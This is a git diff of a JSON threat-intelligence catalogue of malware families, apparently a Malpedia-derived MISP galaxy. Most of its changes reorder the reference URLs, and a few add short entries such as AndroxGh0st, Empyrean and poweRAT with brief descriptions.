"https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/", + "https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/", "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html", - "https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/" + "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", + "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/" ], "synonyms": [], "type": [] @@ -9230,9 +9721,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd", - "https://securelist.com/windealer-dealing-on-the-side/105946/", "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf", - "https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en" + "https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en", + "https://securelist.com/windealer-dealing-on-the-side/105946/" ], "synonyms": [ "Demsty", @@ -9275,10 +9766,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.update_agent", - "https://twitter.com/sysopfb/status/1532442456343691273", + "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", "https://www.jamf.com/blog/updateagent-adapts-again/", "https://www.esentire.com/blog/updateagent-macos-malware", - "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/" + "https://twitter.com/sysopfb/status/1532442456343691273" ], "synonyms": [], "type": [] @@ -9306,8 +9797,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.vigram", "https://twitter.com/ConfiantIntel/status/1351559054565535745", - "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/", - "https://twitter.com/MsftSecIntel/status/1451279679059488773" + "https://twitter.com/MsftSecIntel/status/1451279679059488773", + "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/" ], "synonyms": [ "WizardUpdate" @@ -9336,13 +9827,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail", - "https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf", - "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", - "https://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/", "https://objective-see.com/blog/blog_0x3B.html", "https://objective-see.com/blog/blog_0x3D.html", - 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"https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption" + "https://twitter.com/krabsonsecurity/status/1319463908952969216", + "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/" ], "synonyms": [ "Formbook" @@ -9459,8 +9950,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd", - "https://objective-see.com/blog/blog_0x16.html", - "https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html" + "https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html", + "https://objective-see.com/blog/blog_0x16.html" ], "synonyms": [], "type": [] @@ -9473,8 +9964,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.yort", - "https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/", - "https://objective-see.com/blog/blog_0x53.html" + "https://objective-see.com/blog/blog_0x53.html", + "https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/" ], "synonyms": [], "type": [] @@ -9487,8 +9978,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.zuru", - 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"https://blog.talosintelligence.com/2019/05/sorpresa-jasperloader.html" + "https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d8de6b56-9950-4389-83b8-4fc3262dc4c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "286a14a1-7113-4bed-97ce-8db41b312a51", "value": "JasperLoader" }, @@ -9873,11 +10349,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.octopus", - "https://isc.sans.edu/diary/rss/28628", - "https://github.com/mhaskar/Octopus", - "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://isc.sans.edu/diary/26918" + "https://github.com/mhaskar/Octopus", + "https://isc.sans.edu/diary/26918", + "https://isc.sans.edu/diary/rss/28628", + "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf" ], "synonyms": [], "type": [] @@ -9890,9 +10366,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig", + "https://twitter.com/MJDutch/status/1074820959784321026?s=19", "https://threatpost.com/oilrig-apt-unique-backdoor/157646/", - "https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html", - "https://twitter.com/MJDutch/status/1074820959784321026?s=19" + "https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html" ], "synonyms": [], "type": [] @@ -9905,8 +10381,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.poshspy", - "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", - "https://github.com/matthewdunwoody/POSHSPY" + "https://github.com/matthewdunwoody/POSHSPY", + "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" ], "synonyms": [], "type": [] @@ -9933,8 +10409,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpepper", - "https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/", - "https://twitter.com/InQuest/status/1285295975347650562" + "https://twitter.com/InQuest/status/1285295975347650562", + "https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/" ], "synonyms": [], "type": [] @@ -9947,8 +10423,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe", - 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"https://unit42.paloaltonetworks.com/atoms/clean-ursa/" + "https://securelist.com/recent-cloud-atlas-activity/92016", + "https://securelist.com/recent-cloud-atlas-activity/92016/" ], "synonyms": [], "type": [] @@ -10020,8 +10496,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" ], "synonyms": [], @@ -10040,15 +10516,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5629bc84-58eb-42d9-adc6-cd0eeb08ccaf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "c07f6484-0669-44b7-90e6-f642e316d277", "value": "PowerSpritz" }, @@ -10057,25 +10524,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats", - "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", - "https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/", - "https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "https://unit42.paloaltonetworks.com/atoms/boggyserpens/", - "https://blog.prevailion.com/2020/01/summer-mirage.html", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", - "https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/", - "https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "https://marcoramilli.com/2020/01/15/iranian-threat-actors-preliminary-analysis/", - "https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/", - "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://unit42.paloaltonetworks.com/atoms/boggyserpens/", + "https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/", + "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", + "https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://blog.prevailion.com/2020/01/summer-mirage.html", + "https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/" ], "synonyms": [ "Valyria" @@ -10090,13 +10557,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerton", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", "https://www.symantec.com/security-center/writeup/2019-062513-4935-99", + "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", - "https://norfolkinfosec.com/apt33-powershell-malware/", + "https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/", "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/" + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://norfolkinfosec.com/apt33-powershell-malware/" ], "synonyms": [], "type": [] @@ -10143,23 +10610,36 @@ "uuid": "f5fa77e9-9851-48a6-864d-e0448de062d4", "value": "PowerZure" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.power_magic", + "https://securelist.com/bad-magic-apt/109087/?s=31" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7ee51054-1d3b-45ec-a7fd-1e212c891b99", + "value": "PowerMagic" + }, { "description": "DLL loader that decrypts and runs a powershell-based downloader.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", - "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", - "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/", - "https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant", - "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://unit42.paloaltonetworks.com/thanos-ransomware/", "https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east" + "https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", + "https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://unit42.paloaltonetworks.com/thanos-ransomware/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" ], "synonyms": [], "type": [] @@ -10199,11 +10679,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent", + "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca", - "https://youtu.be/pBDu8EGWRC4?t=2492", "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html" + "https://youtu.be/pBDu8EGWRC4?t=2492", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], "type": [] @@ -10229,8 +10709,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin", - "https://ironnet.com/blog/dns-tunneling-series-part-3-the-siren-song-of-roguerobin/", "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", + "https://ironnet.com/blog/dns-tunneling-series-part-3-the-siren-song-of-roguerobin/", "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca" ], "synonyms": [], @@ -10270,19 +10750,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload", - "https://blog.minerva-labs.com/sload-targeting-europe-again", "https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy", - "https://threatpost.com/sload-spying-payload-delivery-bits/151120/", - "https://cert-agid.gov.it/news/campagna-sload-v-2-9-3-veicolata-via-pec/", - "https://www.certego.net/en/news/sload-hits-italy-unveil-the-power-of-powershell-as-a-downloader/", - "https://www.microsoft.com/security/blog/2020/01/21/sload-launches-version-2-0-starslord/", "https://www.cert-pa.it/notizie/campagna-sload-star-wars-edition-veicolata-via-pec/", - "https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", - "https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9", "https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", + "https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html", + "https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9", + "https://threatpost.com/sload-spying-payload-delivery-bits/151120/", + "https://blog.minerva-labs.com/sload-targeting-europe-again", "https://www.cybereason.com/blog/banking-trojan-delivered-by-lolbins-ramnit-trojan", - "https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/" + "https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/", + "https://www.certego.net/en/news/sload-hits-italy-unveil-the-power-of-powershell-as-a-downloader/", + "https://cert-agid.gov.it/news/campagna-sload-v-2-9-3-veicolata-via-pec/", + "https://www.microsoft.com/security/blog/2020/01/21/sload-launches-version-2-0-starslord/" ], "synonyms": [ "Starslord" @@ -10297,8 +10777,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.snugy", - "https://unit42.paloaltonetworks.com/atoms/hunter-serpens/", - "https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors/" + "https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors/", + "https://unit42.paloaltonetworks.com/atoms/hunter-serpens/" ], "synonyms": [], "type": [] @@ -10363,8 +10843,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_002", - "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", - "https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/" + "https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/" ], "synonyms": [], "type": [] @@ -10385,17 +10865,30 @@ "uuid": "709ba4ad-9ec5-4e0b-b642-96db3b7f6898", "value": "Unidentified PS 003 (RAT)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.vipersoftx", + "https://decoded.avast.io/janrubin/vipersoftx-hiding-in-system-logs-and-spreading-venomsoftx/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "15b551ea-b59a-40f9-a10f-6144415d2d5c", + "value": "ViperSoftX" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannamine", - "https://news.sophos.com/fr-fr/2020/01/22/wannamine-meme-cybercriminels-veulent-avoir-mot-a-dire-sur-brexit/", - "https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/", - "https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/", "https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/", "https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry", - "https://www.accenture.com/_acnmedia/PDF-46/Accenture-Threat-Analysis-Monero-Wannamine.pdf" + "https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/", + "https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/", + "https://www.accenture.com/_acnmedia/PDF-46/Accenture-Threat-Analysis-Monero-Wannamine.pdf", + "https://news.sophos.com/fr-fr/2020/01/22/wannamine-meme-cybercriminels-veulent-avoir-mot-a-dire-sur-brexit/" ], "synonyms": [], "type": [] @@ -10429,6 +10922,22 @@ "uuid": "d1150a1a-a2f4-4954-b22a-a85b7876408e", "value": "WMImplant" }, + { + "description": "According to Laceworks, this is a SMTP cracker, which is primarily intended to scan for and parse Laravel application secrets from exposed .env files. Note: Laravel is an open source PHP framework and the Laravel .env file is often targeted for its various configuration data including AWS, SendGrid and Twilio. AndroxGh0st has multiple features to enable SMTP abuse including scanning, exploitation of exposed creds and APIs, and even deployment of webshells. For AWS specifically, the malware scans for and parses AWS keys but also has the ability to generate keys for brute force attacks. However, the brute force capability is likely a novelty and is a statistically unlikely attack vector.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.androxgh0st", + "https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys/" + ], + "synonyms": [ + "Androx", + "AndroxGhost" + ], + "type": [] + }, + "uuid": "e8f24c9c-c03c-4740-a121-d73789931c8e", + "value": "AndroxGh0st" + }, { "description": "", "meta": { @@ -10460,13 +10969,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot", - "http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f", - "https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/", - "https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/", - "http://seclists.org/fulldisclosure/2017/Mar/7", + "https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/", "https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A", - "https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/" + "https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/", + "http://seclists.org/fulldisclosure/2017/Mar/7", + "http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f", + "https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/" ], "synonyms": [], "type": [] @@ -10487,6 +10996,19 @@ "uuid": "53dd4a8b-374e-48b6-a7c8-58af0e31f435", "value": "DropboxC2C" }, + { + "description": "Discord Stealer written in Python with Javascript-based inject files.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.empyrean", + "https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b1aa0be3-b725-4135-b0b9-3a895d4ef047", + "value": "Empyrean" + }, { "description": "According to Kaspersky Labs, Guard is a malware developed by threat actor WildPressure. It is written in Python and packaged using PyInstaller, both for Windows and macOS operating systems. Its intrinsics resemble parts of how win.milum operates.", "meta": { @@ -10519,28 +11041,21 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.lazagne", "https://github.com/AlessandroZ/LaZagne", - "https://attack.mitre.org/groups/G0100/", - "https://attack.mitre.org/groups/G0100", - "https://www.infinitumit.com.tr/apt-35/", - "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://attack.mitre.org/groups/G0100/", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", + "https://attack.mitre.org/groups/G0100", + "https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf", + "https://www.mandiant.com/resources/blog/alphv-ransomware-backup", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.infinitumit.com.tr/apt-35/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d0394d50-5316-4405-aa77-1070bdf68b6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "c752f295-7f08-4cb0-92d5-a0c562abd08c", "value": "LaZagne" }, @@ -10577,19 +11092,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.n3cr0m0rph", - "https://github.com/lacework/lacework-labs/tree/master/keksec", - "https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr", - "https://twitter.com/xuy1202/status/1393384128456794116", - "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", "https://www.bleepingcomputer.com/news/security/freakout-malware-worms-its-way-into-vulnerable-vmware-servers/", - "https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/", - "https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html", "https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/", - "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", - "https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/", - "https://www.lacework.com/the-kek-security-network/", "https://twitter.com/xuy1202/status/1392089568384454657", - "https://www.lacework.com/keksec-tsunami-ryuk/" + "https://www.lacework.com/blog/the-kek-security-network/", + "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", + "https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/", + "https://www.lacework.com/keksec-tsunami-ryuk/", + "https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr", + "https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html", + "https://github.com/lacework/lacework-labs/tree/master/keksec", + "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", + "https://www.lacework.com/the-kek-security-network/", + "https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/", + "https://twitter.com/xuy1202/status/1393384128456794116" ], "synonyms": [ "FreakOut", @@ -10631,14 +11147,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.poet_rat", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://blog.talosintelligence.com/2020/10/poetrat-update.html", - "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-stibnite/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", + "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", + "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/" + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf" ], "synonyms": [], "type": [] @@ -10646,16 +11163,29 @@ "uuid": "b07819a9-a2f7-454d-a520-c6424cbf1ed4", "value": "Poet RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.powerat", + "https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer/rat-combo-polluting-pypi" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b5cb3d2b-0205-4883-aaff-0d0b7a7f032d", + "value": "poweRAT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://github.com/n1nj4sec/pupy" + 